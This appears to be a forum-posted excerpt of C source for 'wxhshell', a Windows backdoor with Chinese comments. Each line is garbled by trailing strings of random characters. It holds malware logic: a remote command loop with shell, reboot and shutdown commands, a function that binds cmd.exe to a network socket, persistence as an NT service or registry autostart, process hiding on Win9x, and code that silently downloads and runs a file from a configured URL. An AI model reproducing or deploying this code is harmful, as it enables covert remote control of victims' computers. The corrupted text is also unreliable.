  else { )Z(TCJ~~!  
(@t(?Js  
    switch(cmd[0]) { o>/YAX:.!T  
  /wP@2ADB  
  // 帮助 L%Ow#.[C2  
  case '?': { W.dt:_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (>VX-Y/  
    break; u#Z#)3P  
  } 0Uz\H0T1  
  // 安装 )+}]+xRWGj  
  case 'i': { ROk5]b.  
    if(Install()) ?\$#L^;b}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rypTKT|U;  
    else FP;Ccl"s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s0DGC  
    break; jJuW-(/4[  
    } Q.]}]QE   
  // 卸载 c8L~S/t  
  case 'r': { uM_#  
    if(Uninstall()) iTag+G4*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "kMguK}c  
    else wm)#[x #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | \'rP_I>  
    break; W6"v)Jc>_  
    } 3 |hHR  
  // 显示 wxhshell 所在路径 VwOW=4`6  
  case 'p': { Svc|0Ad&  
    char svExeFile[MAX_PATH]; SILQ  
    strcpy(svExeFile,"\n\r"); c3:,Ab|  
      strcat(svExeFile,ExeFile); GFel(cx:K  
        send(wsh,svExeFile,strlen(svExeFile),0); PNaay:a|  
    break; BO~PT,QrF  
    } m9"n4a|:  
  // 重启 T9]HGB{  
  case 'b': {  /o[?D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q(<)KZIK  
    if(Boot(REBOOT)) VJdIHsI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCB_  
    else { o(:[r@Z0z  
    closesocket(wsh); / C>wd   
    ExitThread(0); COW}o~3-4  
    } MxY/`9>E|+  
    break; u>TZt]h8  
    } 4eikLRD,  
  // 关机 -PS#Z0>  
  case 'd': { ve% xxn:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \8<BLmf4U  
    if(Boot(SHUTDOWN)) Hm$=h>rY9[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =,Dqqf  
    else { @6mBqcE'?  
    closesocket(wsh); (*oL+ef-C  
    ExitThread(0); l-ct?T_@  
    } &_"]5/"(  
    break; ]`&Yqg  
    } Dh5X/y  
  // 获取shell H63,bNS s  
  case 's': { _T2=J+"-Kp  
    CmdShell(wsh); Td G!&:>  
    closesocket(wsh); !<SA6m#  
    ExitThread(0); Xtp"QY p  
    break; uO=aaKG  
  } &2`Fn!m  
  // 退出 sFQ^2PwbS  
  case 'x': { #|*F1K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zf'TJ `S  
    CloseIt(wsh); q-c=nkN3  
    break; DwrO JIy  
    } Y=?yhAw  
  // 离开 'UMXq~RMe  
  case 'q': { wg0 \_@3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rMUT_^  
    closesocket(wsh); xf b]b2  
    WSACleanup(); 4dhvFGlW  
    exit(1); z .Y$7bf)  
    break; d)pV;6%[$q  
        } QF&W`c  
  } r=6v`)Qr  
  } /)dFK~  
|\U5) ,m  
  // 提示信息 )l!3(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DqX{'jj  
} h=(DX5:A  
  } zOGU8Wg  
^_ kJKM,  
  return; 4H|(c[K;  
} xj[(P$,P  
R1& [S/  
// shell模块句柄 55;g1o}}f  
int CmdShell(SOCKET sock) aBNZdX]vzO  
{ sgO'wXcoP  
STARTUPINFO si; dw TMq*e  
ZeroMemory(&si,sizeof(si)); I('Un@hS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i:u1s"3~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rr!Y3)f;  
PROCESS_INFORMATION ProcessInfo; 7^Ns&Q  
char cmdline[]="cmd"; v{9t]s>B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2'5]~  
  return 0; vq!_^F<  
} 7f~Sf  
Op>%?W8/UF  
// 自身启动模式 <x&%~6j  
int StartFromService(void) Tp0bS  
{ .N*Pl(<[  
typedef struct VMCLHpSfW  
{ ({NAMc*  
  DWORD ExitStatus; k iRa+w:  
  DWORD PebBaseAddress; j S]><rm  
  DWORD AffinityMask; =IUUeFv +r  
  DWORD BasePriority; _>v<(7  
  ULONG UniqueProcessId; fgBM_c&9T  
  ULONG InheritedFromUniqueProcessId; 1&P<  
}   PROCESS_BASIC_INFORMATION; cKn`/\.H  
`\m*+Bk[5  
PROCNTQSIP NtQueryInformationProcess; :OW ;?{ ~j  
Bf$_XG3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zcva-ze:;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '&sE=.  
n_B"- n  
  HANDLE             hProcess; La@ +>  
  PROCESS_BASIC_INFORMATION pbi; }sx_Yj  
P(;?kg}0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VwEb7v,^0\  
  if(NULL == hInst ) return 0; -CRra EXf8  
x ul]m*Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ixV0|P8,c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r YF #^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }=|!:kiE  
qY >{cjo  
  if (!NtQueryInformationProcess) return 0; ?_v{| YI=  
V13BB44  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ** +e7k   
  if(!hProcess) return 0; BbRBT@  
Q6XRsFc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a&k_=/X&  
lt_']QqU  
  CloseHandle(hProcess); 11,!XD*"  
Nx-uQ^e*1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5l,ZoB8  
if(hProcess==NULL) return 0; Fh*j#*oe  
wQ%mN[  
HMODULE hMod; [|lB5gi4t!  
char procName[255]; doB  
unsigned long cbNeeded; 4&HXkRs:  
/l{ &iLz[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e4G4GZH8  
'*Almv{  
  CloseHandle(hProcess); YOrrkbJ(  
E7Ulnvd  
if(strstr(procName,"services")) return 1; // 以服务启动 8kbY+W%n  
g/&T[FOr  
  return 0; // 注册表启动 t!2(7=P30(  
} Vf`7V$sr  
>OP+^^oZ<  
// 主模块 f"( X(1F  
int StartWxhshell(LPSTR lpCmdLine) 7y`}PMn  
{ 9<vWcq*4  
  SOCKET wsl; 1&/FG(*/  
BOOL val=TRUE; 8k^| G  
  int port=0; XK"-'  
  struct sockaddr_in door; Uh'#izm[l  
kEO7PK/  
  if(wscfg.ws_autoins) Install(); 0[F:'_  
fS:1^A2,  
port=atoi(lpCmdLine); }'OHE(s  
TyKWy0x-3  
if(port<=0) port=wscfg.ws_port; .^bft P\  
5qf BEPJ  
  WSADATA data; zvvP81$W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;r /;m\V  
=E&OuX-R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E0/mSm"(T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z--@.IYoJ  
  door.sin_family = AF_INET; #UtFD^h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e;GU T:  
  door.sin_port = htons(port); Lw'9  
fA=#Fzk2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n$aA)"A #  
closesocket(wsl); J>^\oAgpE  
return 1; f""`cdqAOh  
} QW_agm  
]?h`:,]  
  if(listen(wsl,2) == INVALID_SOCKET) { [Px'\ nVf  
closesocket(wsl); 2S8P}$mM  
return 1; O,<IGO  
} O'GG Ti]e  
  Wxhshell(wsl); vfB2XVc  
  WSACleanup(); +f0~D(d!_  
+x]9+D&  
return 0; azP+GM=i7  
h8 G5GRD  
} /j"sS2$U  
^>?CMcN4*  
// 以NT服务方式启动 n}mR~YqD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JjXobNQf  
{ s!+"yK  
DWORD   status = 0; 4Iq'/r  
  DWORD   specificError = 0xfffffff; z5*=MlZ)R.  
jEz+1Nl)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @=5qT]%U3J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :y2p@#l#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L&-hXGx=7  
  serviceStatus.dwWin32ExitCode     = 0; $hR)i  
  serviceStatus.dwServiceSpecificExitCode = 0; =TP( UJ  
  serviceStatus.dwCheckPoint       = 0; D^U: ih  
  serviceStatus.dwWaitHint       = 0; ]0B|V2D#e  
#&8}<8V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L0%hnA@  
  if (hServiceStatusHandle==0) return; 39 Y(!q  
@>x pYV  
status = GetLastError(); mfny4R1_  
  if (status!=NO_ERROR) -;;Z 'NM;8  
{ i{^Z1;Yl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OTB$V k  
    serviceStatus.dwCheckPoint       = 0; l$*=<tV  
    serviceStatus.dwWaitHint       = 0; Q{QYBh&  
    serviceStatus.dwWin32ExitCode     = status; I NSkgOo  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y`6rEA0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L?Yoh<  
    return; Z.i{i^/#(  
  } %b?$@H-Re  
^")F7`PF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]=73-ywn]  
  serviceStatus.dwCheckPoint       = 0; d {2  
  serviceStatus.dwWaitHint       = 0; *FR$vLGn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qP*}.Sqk7  
} utlpY1#q/  
v=I|O%  
// 处理NT服务事件,比如:启动、停止 R)Mt(gFZT_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xl |1YX1&m  
{ ExHAY|UA  
switch(fdwControl) rSP_:}  
{ ?R Fg$Z'^  
case SERVICE_CONTROL_STOP: K:y^OAZfV  
  serviceStatus.dwWin32ExitCode = 0; :RxHw;!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s,*c@1f?  
  serviceStatus.dwCheckPoint   = 0; Ap\AP{S4  
  serviceStatus.dwWaitHint     = 0; rAQF9O[  
  { ,%#   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,}D}oo*  
  } Uf*EJ1Ei  
  return; n,M)oo1G  
case SERVICE_CONTROL_PAUSE: ^4v*W;Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L3(^{W]|  
  break; 1+y"i<3)  
case SERVICE_CONTROL_CONTINUE: Zt3}Z4d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mV9A{h  
  break; K,xW6DiH  
case SERVICE_CONTROL_INTERROGATE: ~<qt%W?  
  break; C.!_]Pxs  
}; ALd;$fd qf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'?#i @O  
} oh#N 0 0X  
&ogt2<1W  
// 标准应用程序主函数 ]"fsW 9s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gd@p|PsS^  
{ |`yZIY_  
+$z]w(lbT  
// 获取操作系统版本 YJ7V`N p  
OsIsNt=GetOsVer(); !$XHQLqF2  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ZC^C  
}b["Jk\2  
  // 从命令行安装 x4a:PuqmGG  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6er(%4!  
vC/[^  
  // 下载执行文件 ?T: jk4+  
if(wscfg.ws_downexe) { zjX7C~h^Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^ DAa%u  
  WinExec(wscfg.ws_filenam,SW_HIDE); u>T76,8|\  
} jkrx]`A{~  
{GqXP0'  
if(!OsIsNt) { U Lmg$T&  
// 如果时win9x,隐藏进程并且设置为注册表启动 U!q[e`B  
HideProc(); NSLVD[yT  
StartWxhshell(lpCmdLine); iT )WR90  
} q(z7~:+qNr  
else `QP ~  
  if(StartFromService()) Z&yaSB  
  // 以服务方式启动 ,WTTJN  
  StartServiceCtrlDispatcher(DispatchTable); XbvDi+R 2A  
else OjnJV  
  // 普通方式启动 R 4EEelSZu  
  StartWxhshell(lpCmdLine); uf)Oy7FQ  
JSMPyj  
return 0; L0h G  
}
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只看该作者 1 发表于: 2006-10-10
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